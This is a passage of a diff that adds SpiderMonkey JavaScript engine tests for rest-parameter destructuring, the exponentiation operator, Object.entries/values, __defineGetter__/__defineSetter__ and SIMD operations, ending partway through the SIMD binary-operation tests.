+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+const bindingPatterns = [
+ "[]",
+ "[a]",
+ "[a, b]",
+ "[a, ...b]",
+ "[...a]",
+ "[...[]]",
+
+ "{}",
+ "{p: a}",
+ "{p: a = 0}",
+ "{p: {}}",
+ "{p: a, q: b}",
+ "{a}",
+ "{a, b}",
+ "{a = 0}",
+];
+
+const functions = [
+ p => `function f(${p}) {}`,
+ p => `function* g(${p}) {}`,
+ p => `({m(${p}) {}});`,
+ p => `(class {m(${p}) {}});`,
+ p => `(${p}) => {};`,
+];
+
+for (let pattern of bindingPatterns) {
+ for (let fn of functions) {
+ // No leading parameters.
+ eval(fn(`...${pattern}`));
+
+ // Leading normal parameters.
+ eval(fn(`x, ...${pattern}`));
+ eval(fn(`x, y, ...${pattern}`));
+
+ // Leading parameters with defaults.
+ eval(fn(`x = 0, ...${pattern}`));
+ eval(fn(`x = 0, y = 0, ...${pattern}`));
+
+ // Leading array destructuring parameters.
+ eval(fn(`[], ...${pattern}`));
+ eval(fn(`[x], ...${pattern}`));
+ eval(fn(`[x = 0], ...${pattern}`));
+ eval(fn(`[...x], ...${pattern}`));
+
+ // Leading object destructuring parameters.
+ eval(fn(`{}, ...${pattern}`));
+ eval(fn(`{p: x}, ...${pattern}`));
+ eval(fn(`{x}, ...${pattern}`));
+ eval(fn(`{x = 0}, ...${pattern}`));
+
+ // Trailing parameters after rest parameter.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern},`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x = 0`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, ...x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, []`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, {}`)), SyntaxError);
+
+ // Rest parameter with defaults.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern} = 0`)), SyntaxError);
+ }
+}
+
+for (let fn of functions) {
+ // Missing name, incomplete patterns.
+ assertThrowsInstanceOf(() => eval(fn(`...`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...{`)), SyntaxError);
+
+ // Invalid binding name.
+ assertThrowsInstanceOf(() => eval(fn(`...[0]`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[p.q]`)), SyntaxError);
+}
+
+// Rest parameters aren't valid in getter/setter methods.
+assertThrowsInstanceOf(() => eval(`({get p(...[]) {}})`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`({set p(...[]) {}})`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/rest-parameter.js b/js/src/tests/ecma_7/Destructuring/rest-parameter.js
new file mode 100644
index 000000000..50d77f3cc
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/rest-parameter.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple functional test for destructuring rest parameters.
+
+function arrayRest(...[a, b]) {
+ return a + b;
+}
+assertEq(arrayRest(3, 7), 10);
+
+
+function arrayRestWithDefault(...[a, b = 1]) {
+ return a + b;
+}
+assertEq(arrayRestWithDefault(3, 7), 10);
+assertEq(arrayRestWithDefault(4), 5);
+assertEq(arrayRestWithDefault(4, undefined), 5);
+
+
+function objectRest(...{length: len}) {
+ return len;
+}
+assertEq(objectRest(), 0);
+assertEq(objectRest(10), 1);
+assertEq(objectRest(10, 20), 2);
+
+
+function objectRestWithDefault(...{0: a, 1: b = 1}) {
+ return a + b;
+}
+assertEq(objectRestWithDefault(3, 7), 10);
+assertEq(objectRestWithDefault(4), 5);
+assertEq(objectRestWithDefault(4, undefined), 5);
+
+
+function arrayRestWithNestedRest(...[...r]) {
+ return r.length;
+}
+assertEq(arrayRestWithNestedRest(), 0);
+assertEq(arrayRestWithNestedRest(10), 1);
+assertEq(arrayRestWithNestedRest(10, 20), 2);
+
+
+function arrayRestTDZ(...[a = a]) { }
+assertThrowsInstanceOf(() => arrayRestTDZ(), ReferenceError);
+
+
+function objectRestTDZ(...{a = a}) { }
+assertThrowsInstanceOf(() => objectRestTDZ(), ReferenceError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Destructuring/shell.js b/js/src/tests/ecma_7/Destructuring/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Destructuring/shell.js
diff --git a/js/src/tests/ecma_7/Math/Pow.js b/js/src/tests/ecma_7/Math/Pow.js
new file mode 100644
index 000000000..7c1af8c88
--- /dev/null
+++ b/js/src/tests/ecma_7/Math/Pow.js
@@ -0,0 +1,117 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1135708;
+var summary = "Implement the exponentiation operator";
+
+print(BUGNUMBER + ": " + summary);
+
+// Constant folding
+assertEq(2 ** 2 ** 3, 256);
+assertEq(1 ** 1 ** 4, 1);
+
+// No folding
+var two = 2;
+var three = 3;
+var four = 4;
+assertEq(two ** two ** three, 256);
+assertEq(1 ** 1 ** four, 1);
+
+// Operator precedence
+assertEq(2 ** 3 / 2 ** 3, 1);
+assertEq(2 ** 3 * 2 ** 3, 64);
+assertEq(2 ** 3 + 2 ** 3, 16);
+
+// With parentheses
+assertEq((2 ** 3) ** 2, 64);
+assertEq(2 ** (3 ** 2), 512);
+
+// Assignment operator
+var x = 2;
+assertEq(x **= 2 ** 3, 256);
+assertEq(x, 256);
+
+// Loop to test baseline and ION
+for (var i=0; i<10000; i++) {
+ assertEq((2 ** 3) ** 2, 64);
+ assertEq(2 ** (3 ** 2), 512);
+ var x = 2;
+ assertEq(x **= 2 ** 3, 256);
+ assertEq(x, 256);
+}
+
+// Comments should not be confused with exp operator
+var a, c, e;
+a = c = e = 2;
+assertEq(a**/**b**/c/**/**/**d**/e, 16);
+
+// Two stars separated should not parse as exp operator
+assertThrows(function() { return Reflect.parse("2 * * 3"); }, SyntaxError);
+
+// Left-hand side expression must not be a unary expression.
+for (let unaryOp of ["delete", "typeof", "void", "+", "-", "!", "~"]) {
+ assertThrowsInstanceOf(() => eval(unaryOp + " a ** 2"), SyntaxError);
+ assertThrowsInstanceOf(() => eval(unaryOp + " " + unaryOp + " a ** 2"), SyntaxError);
+}
+
+// Test the other |delete| operators (DELETENAME and DELETEEXPR are already tested above).
+assertThrowsInstanceOf(() => eval("delete a.name ** 2"), SyntaxError);
+assertThrowsInstanceOf(() => eval("delete a[0] ** 2"), SyntaxError);
+
+// Unary expression lhs is valid if parenthesized.
+for (let unaryOp of ["delete", "void", "+", "-", "!", "~"]) {
+ let a = 0;
+ eval("(" + unaryOp + " a) ** 2");
+ eval("(" + unaryOp + " " + unaryOp + " a) ** 2");
+}
+{
+ let a = {};
+ (delete a.name) ** 2;
+ (delete a[0]) ** 2;
+}
+
+// Check if error propagation works
+var thrower = {
+ get value() {
+ throw new Error();
+ }
+};
+
+assertThrowsInstanceOf(function() { return thrower.value ** 2; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value; }, Error);
+assertThrowsInstanceOf(function() { return 2 ** thrower.value ** 2; }, Error);
+
+var convertibleToPrimitive = {
+ valueOf: function() {
+ throw new Error("oops");
+ }
+};
+
+assertThrowsInstanceOf(function() { return convertibleToPrimitive ** 3; }, Error);
+assertThrowsInstanceOf(function() { return 3 ** convertibleToPrimitive; }, Error);
+
+assertEq(NaN ** 2, NaN);
+assertEq(2 ** NaN, NaN);
+assertEq(2 ** "3", 8);
+assertEq("2" ** 3, 8);
+
+// Reflect.parse generates a correct parse tree for simplest case
+var parseTree = Reflect.parse("a ** b");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.operator, "**");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.name, "b");
+
+// Reflect.parse generates a tree following the right-associativity rule
+var parseTree = Reflect.parse("a ** b ** c");
+assertEq(parseTree.body[0].type, "ExpressionStatement");
+assertEq(parseTree.body[0].expression.left.name, "a");
+assertEq(parseTree.body[0].expression.right.operator, "**");
+assertEq(parseTree.body[0].expression.right.left.name, "b");
+assertEq(parseTree.body[0].expression.right.right.name, "c");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/Math/shell.js b/js/src/tests/ecma_7/Math/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Math/shell.js
diff --git a/js/src/tests/ecma_7/Object/browser.js b/js/src/tests/ecma_7/Object/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Object/browser.js
diff --git a/js/src/tests/ecma_7/Object/defineGetter-defineSetter.js b/js/src/tests/ecma_7/Object/defineGetter-defineSetter.js
new file mode 100644
index 000000000..b2bb21f67
--- /dev/null
+++ b/js/src/tests/ecma_7/Object/defineGetter-defineSetter.js
@@ -0,0 +1,92 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+let count = 0;
+let verifyProxy = new Proxy({}, {
+ defineProperty(target, property, descriptor) {
+ assertEq(property, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if ("set" in descriptor)
+ assertEq(descriptor.set, Object.prototype.__defineSetter__);
+ else
+ assertEq(descriptor.get, Object.prototype.__defineGetter__);
+
+ assertEq(Object.keys(descriptor).length, 3);
+
+ count++;
+ return true;
+ }
+});
+
+for (let define of [Object.prototype.__defineGetter__, Object.prototype.__defineSetter__]) {
+ // null/undefined |this| value
+ for (let thisv of [undefined, null])
+ assertThrowsInstanceOf(() => define.call(thisv, "x", define), TypeError);
+
+ // non-callable getter/setter
+ let nonCallable = [{}, [], new Proxy({}, {})];
+ for (let value of nonCallable)
+ assertThrowsInstanceOf(() => define.call(verifyProxy, "x", value), TypeError);
+
+ // ToPropertyKey
+ let key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ // Throws, because non-primitive is returned
+ return {};
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ };
+ assertThrowsInstanceOf(() => define.call(verifyProxy, key, define), TypeError);
+
+ key = {
+ [Symbol.toPrimitive](hint) {
+ assertEq(hint, "string");
+ return "x";
+ },
+ valueOf() { throw "wrongly invoked"; },
+ toString() { throw "wrongly invoked"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ key = {
+ [Symbol.toPrimitive]: undefined,
+
+ valueOf() { throw "wrongly invoked"; },
+ toString() { return "x"; }
+ }
+ define.call(verifyProxy, key, define);
+
+ // Bog standard call
+ define.call(verifyProxy, "x", define);
+
+ let obj = {};
+ define.call(obj, "x", define);
+ let descriptor = Object.getOwnPropertyDescriptor(obj, "x");
+
+ assertEq(descriptor.enumerable, true);
+ assertEq(descriptor.configurable, true);
+
+ if (define == Object.prototype.__defineSetter__) {
+ assertEq(descriptor.get, undefined);
+ assertEq(descriptor.set, define);
+ } else {
+ assertEq(descriptor.get, define);
+ assertEq(descriptor.set, undefined);
+ }
+
+ assertEq(Object.keys(descriptor).length, 4);
+
+
+}
+
+// Number of calls that should succeed
+assertEq(count, 6);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_7/Object/entries.js b/js/src/tests/ecma_7/Object/entries.js
new file mode 100644
index 000000000..ee339ae23
--- /dev/null
+++ b/js/src/tests/ecma_7/Object/entries.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("entries" in Object) {
+ assertEq(Object.entries.length, 1);
+
+ var o, entries;
+
+ o = { a: 3, b: 2 };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 3], ["b", 2]]);
+
+ o = { get a() { return 17; }, b: 2 };
+ entries = Object.entries(o),
+ assertDeepEq(entries, [["a", 17], ["b", 2]]);
+
+ o = { __iterator__: function() { return Iterator({a: 2, b: 3}); } };
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["__iterator__", o.__iterator__]]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["b", 2], ["a", 3]]);
+
+ o = [0, 1, 2];
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", 0], ["1", 1], ["2", 2]]);
+
+ o = /./.exec("abc");
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["0", "a"], ["index", 0], ["input", "abc"]]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3], ["b", 5]]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["g", 1]]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ entries = Object.entries(o);
+ assertDeepEq(entries, [["a", 1], ["c", 3]]);
+
+ assertThrowsInstanceOf(() => Object.entries(), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.entries(null), TypeError);
+
+ assertDeepEq(Object.entries(1), []);
+ assertDeepEq(Object.entries(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.entries(Symbol("foo")), []);
+
+ assertDeepEq(Object.entries("foo"), [["0", "f"], ["1", "o"], ["2", "o"]]);
+
+ entries = Object.entries({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(entries, [["a", "A"]]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ entries = Object.entries(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(entries, [["c", 3], ["a", 1]]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/Object/shell.js b/js/src/tests/ecma_7/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Object/shell.js
diff --git a/js/src/tests/ecma_7/Object/values.js b/js/src/tests/ecma_7/Object/values.js
new file mode 100644
index 000000000..78543c875
--- /dev/null
+++ b/js/src/tests/ecma_7/Object/values.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("values" in Object) {
+ assertEq(Object.values.length, 1);
+
+ var o, values;
+
+ o = { a: 3, b: 2 };
+ values = Object.values(o);
+ assertDeepEq(values, [3, 2]);
+
+ o = { get a() { return 17; }, b: 2 };
+ values = Object.values(o),
+ assertDeepEq(values, [17, 2]);
+
+ o = { __iterator__: function() { return Iterator({a: 2, b: 3}); } };
+ values = Object.values(o);
+ assertDeepEq(values, [o.__iterator__]);
+
+ o = { a: 1, b: 2 };
+ delete o.a;
+ o.a = 3;
+ values = Object.values(o);
+ assertDeepEq(values, [2, 3]);
+
+ o = [0, 1, 2];
+ values = Object.values(o);
+ assertDeepEq(values, [0, 1, 2]);
+
+ o = /./.exec("abc");
+ values = Object.values(o);
+ assertDeepEq(values, ["a", 0, "abc"]);
+
+ o = { a: 1, b: 2, c: 3 };
+ delete o.b;
+ o.b = 5;
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3, 5]);
+
+ function f() { }
+ f.prototype.p = 1;
+ o = new f();
+ o.g = 1;
+ values = Object.values(o);
+ assertDeepEq(values, [1]);
+
+ var o = {get a() {delete this.b; return 1}, b: 2, c: 3};
+ values = Object.values(o);
+ assertDeepEq(values, [1, 3]);
+
+ assertThrowsInstanceOf(() => Object.values(), TypeError);
+ assertThrowsInstanceOf(() => Object.values(undefined), TypeError);
+ assertThrowsInstanceOf(() => Object.values(null), TypeError);
+
+ assertDeepEq(Object.values(1), []);
+ assertDeepEq(Object.values(true), []);
+ if (typeof Symbol === "function")
+ assertDeepEq(Object.values(Symbol("foo")), []);
+
+ assertDeepEq(Object.values("foo"), ["f", "o", "o"]);
+
+ values = Object.values({
+ get a(){
+ Object.defineProperty(this, "b", {enumerable: false});
+ return "A";
+ },
+ b: "B"
+ });
+ assertDeepEq(values, ["A"]);
+
+ let ownKeysCallCount = 0;
+ let getOwnPropertyDescriptorCalls = [];
+ let target = { a: 1, b: 2, c: 3 };
+ o = new Proxy(target, {
+ ownKeys() {
+ ownKeysCallCount++;
+ return ["c", "a"];
+ },
+ getOwnPropertyDescriptor(target, key) {
+ getOwnPropertyDescriptorCalls.push(key);
+ return Object.getOwnPropertyDescriptor(target, key);
+ }
+ });
+ values = Object.values(o);
+ assertEq(ownKeysCallCount, 1);
+ assertDeepEq(values, [3, 1]);
+ assertDeepEq(getOwnPropertyDescriptorCalls, ["c", "a"]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/ToSource.js b/js/src/tests/ecma_7/SIMD/ToSource.js
new file mode 100644
index 000000000..e5efa12a3
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/ToSource.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+function test() {
+ var Float32x4 = SIMD.Float32x4;
+ var f = Float32x4(11, 22, 33, 44);
+ assertEq(f.toSource(), "SIMD.Float32x4(11, 22, 33, 44)");
+
+ var Float64x2 = SIMD.Float64x2;
+ var f = Float64x2(11, 22, 33, 44);
+ assertEq(f.toSource(), "SIMD.Float64x2(11, 22)");
+
+ var Int8x16 = SIMD.Int8x16;
+ var f = Int8x16(11, 22, 33, 44, -11, -22, -33, -44, 1, 2, 3, 4, -1, -2, -3, -4);
+ assertEq(f.toSource(), "SIMD.Int8x16(11, 22, 33, 44, -11, -22, -33, -44, 1, 2, 3, 4, -1, -2, -3, -4)");
+
+ var Int16x8 = SIMD.Int16x8;
+ var f = Int16x8(11, 22, 33, 44, -11, -22, -33, -44);
+ assertEq(f.toSource(), "SIMD.Int16x8(11, 22, 33, 44, -11, -22, -33, -44)");
+
+ var Int32x4 = SIMD.Int32x4;
+ var f = Int32x4(11, 22, 33, 44);
+ assertEq(f.toSource(), "SIMD.Int32x4(11, 22, 33, 44)");
+
+ var Uint8x16 = SIMD.Uint8x16;
+ var f = Uint8x16(11, 22, 33, 44, 245, 234, 223, 212, 1, 2, 3, 4, 255, 254, 0, 250);
+ assertEq(f.toSource(), "SIMD.Uint8x16(11, 22, 33, 44, 245, 234, 223, 212, 1, 2, 3, 4, 255, 254, 0, 250)");
+
+ var Uint16x8 = SIMD.Uint16x8;
+ var f = Uint16x8(11, 22, 33, 44, 65535, 65534, 65533, 65532);
+ assertEq(f.toSource(), "SIMD.Uint16x8(11, 22, 33, 44, 65535, 65534, 65533, 65532)");
+
+ var Uint32x4 = SIMD.Uint32x4;
+ var f = Uint32x4(11, 22, 4294967295, 4294967294);
+ assertEq(f.toSource(), "SIMD.Uint32x4(11, 22, 4294967295, 4294967294)");
+
+ var Bool8x16 = SIMD.Bool8x16;
+ var f = Bool8x16(true, true, false, false, false, true, true, false, true, true, true, true, false, false, false, false);
+ assertEq(f.toSource(), "SIMD.Bool8x16(true, true, false, false, false, true, true, false, true, true, true, true, false, false, false, false)");
+
+ var Bool16x8 = SIMD.Bool16x8;
+ var f = Bool16x8(true, true, false, false, true, false, false, true);
+ assertEq(f.toSource(), "SIMD.Bool16x8(true, true, false, false, true, false, false, true)");
+
+ var Bool32x4 = SIMD.Bool32x4;
+ var f = Bool32x4(true, true, false, false);
+ assertEq(f.toSource(), "SIMD.Bool32x4(true, true, false, false)");
+
+ var Bool64x2 = SIMD.Bool64x2;
+ var f = Bool64x2(true, false);
+ assertEq(f.toSource(), "SIMD.Bool64x2(true, false)");
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/binary-operations.js b/js/src/tests/ecma_7/SIMD/binary-operations.js
new file mode 100644
index 000000000..04b035309
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/binary-operations.js
@@ -0,0 +1,785 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float32x4 = SIMD.Float32x4;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+// Float32x4.
+function testFloat32x4add() {
+ function addf(a, b) {
+ return Math.fround(Math.fround(a) + Math.fround(b));
+ }
+
+ var vals = [
+ [[1, 2, 3, 4], [10, 20, 30, 40]],
+ [[1.57, 2.27, 3.57, 4.19], [10.31, 20.49, 30.41, 40.72]],
+ [[NaN, -0, Infinity, -Infinity], [0, -0, -Infinity, -Infinity]]
+ ];
+
+ for (var [v,w] of vals) {
+ testBinaryFunc(Float32x4(...v), Float32x4(...w), Float32x4.add, addf);
+ }
+}
+
+function testFloat32x4div() {
+ function divf(a, b) {
+ return Math.fround(Math.fround(a) / Math.fround(b));
+ }
+
+ var vals = [
+ [[1, 2, 3, 4], [10, 20, 30, 40]],
+ [[1.26, 2.03, 3.17, 4.59], [11.025, 17.3768, 29.1957, 46.4049]],
+ [[0, -0, Infinity, -Infinity], [1, 1, -Infinity, Infinity]]
+ ];
+
+ for (var [v,w] of vals) {
+ testBinaryFunc(Float32x4(...v), Float32x4(...w), Float32x4.div, divf);
+ }
+}
+
+function testFloat32x4mul() {
+ function mulf(a, b) {
+ return Math.fround(Math.fround(a) * Math.fround(b));
+ }
+
+ var vals = [
+ [[1, 2, 3, 4], [10, 20, 30, 40]],
+ [[1.66, 2.57, 3.73, 4.12], [10.67, 20.68, 30.02, 40.58]],
+ [[NaN, -0, Infinity, -Infinity], [NaN, -0, -Infinity, 0]]
+ ];
+
+ for (var [v,w] of vals) {
+ testBinaryFunc(Float32x4(...v), Float32x4(...w), Float32x4.mul, mulf);
+ }
+}
+
+function testFloat32x4sub() {
+ function subf(a, b) {
+ return Math.fround(Math.fround(a) - Math.fround(b));
+ }
+
+ var vals = [
+ [[1, 2, 3, 4], [10, 20, 30, 40]],
+ [[1.34, 2.95, 3.17, 4.29], [10.18, 20.43, 30.63, 40.38]],
+ [[NaN, -0, -Infinity, -Infinity], [NaN, -0, Infinity, -Infinity]]
+ ];
+
+ for (var [v,w] of vals) {
+ testBinaryFunc(Float32x4(...v), Float32x4(...w), Float32x4.sub, subf);
+ }
+}
+
+// Helper for saturating arithmetic.
+// See SIMD.js, 5.1.25 Saturate(descriptor, x)
+function saturate(lower, upper, x) {
+ x = x | 0;
+ if (x > upper)
+ return upper;
+ if (x < lower)
+ return lower;
+ return x;
+}
+
+var i8x16vals = [
+ [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16],
+ [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160]],
+ [[INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, -2, -3, -4, -5, -6, -7, -8, -9],
+ [1, 1, -1, -1, INT8_MAX, INT8_MAX, INT8_MIN, INT8_MIN, 8, 9, 10, 11, 12, 13, 14, 15]]
+];
+
+// Int8x16.
+function testInt8x16add() {
+ function addi(a, b) {
+ return (a + b) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.add, addi);
+ }
+}
+
+function testInt8x16and() {
+ function andi(a, b) {
+ return (a & b) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.and, andi);
+ }
+}
+
+function testInt8x16mul() {
+ function muli(x, y) {
+ return (x * y) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.mul, muli);
+ }
+}
+
+function testInt8x16or() {
+ function ori(a, b) {
+ return (a | b) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.or, ori);
+ }
+}
+
+function testInt8x16sub() {
+ function subi(a, b) {
+ return (a - b) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.sub, subi);
+ }
+}
+
+function testInt8x16xor() {
+ function xori(a, b) {
+ return (a ^ b) << 24 >> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.xor, xori);
+ }
+}
+
+function testInt8x16addSaturate() {
+ function satadd(a, b) {
+ return saturate(INT8_MIN, INT8_MAX, a + b);
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.addSaturate, satadd);
+ }
+}
+
+function testInt8x16subSaturate() {
+ function satsub(a, b) {
+ return saturate(INT8_MIN, INT8_MAX, a - b);
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Int8x16(...v), Int8x16(...w), Int8x16.subSaturate, satsub);
+ }
+}
+
+// Uint8x16.
+function testUint8x16add() {
+ function addi(a, b) {
+ return (a + b) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.add, addi);
+ }
+}
+
+function testUint8x16and() {
+ function andi(a, b) {
+ return (a & b) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.and, andi);
+ }
+}
+
+function testUint8x16mul() {
+ function muli(x, y) {
+ return (x * y) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.mul, muli);
+ }
+}
+
+function testUint8x16or() {
+ function ori(a, b) {
+ return (a | b) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.or, ori);
+ }
+}
+
+function testUint8x16sub() {
+ function subi(a, b) {
+ return (a - b) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.sub, subi);
+ }
+}
+
+function testUint8x16xor() {
+ function xori(a, b) {
+ return (a ^ b) << 24 >>> 24;
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.xor, xori);
+ }
+}
+
+function testUint8x16addSaturate() {
+ function satadd(a, b) {
+ return saturate(0, UINT8_MAX, a + b);
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.addSaturate, satadd);
+ }
+}
+
+function testUint8x16subSaturate() {
+ function satsub(a, b) {
+ return saturate(0, UINT8_MAX, a - b);
+ }
+
+ for (var [v,w] of i8x16vals) {
+ testBinaryFunc(Uint8x16(...v), Uint8x16(...w), Uint8x16.subSaturate, satsub);
+ }
+}
+
+var i16x8vals = [
+ [[1, 2, 3, 4, 5, 6, 7, 8],
+ [10, 20, 30, 40, 50, 60, 70, 80]],
+ [[INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN],
+ [1, 1, -1, -1, INT16_MAX, INT16_MAX, INT16_MIN, INT16_MIN]]
+];
+
+// Int16x8.
+function testInt16x8add() {
+ function addi(a, b) {
+ return (a + b) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.add, addi);
+ }
+}
+
+function testInt16x8and() {
+ function andi(a, b) {
+ return (a & b) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.and, andi);
+ }
+}
+
+function testInt16x8mul() {
+ function muli(x, y) {
+ return (x * y) << 16 >> 16;
+ }
+
+ for (var [v,w] of i16x8vals) {
+ testBinaryFunc(Int16x8(...v), Int16x8(...w), Int16x8.mul, muli);
+ }
+}
+
+function testInt16x8or() {
+ function ori(a, b) {
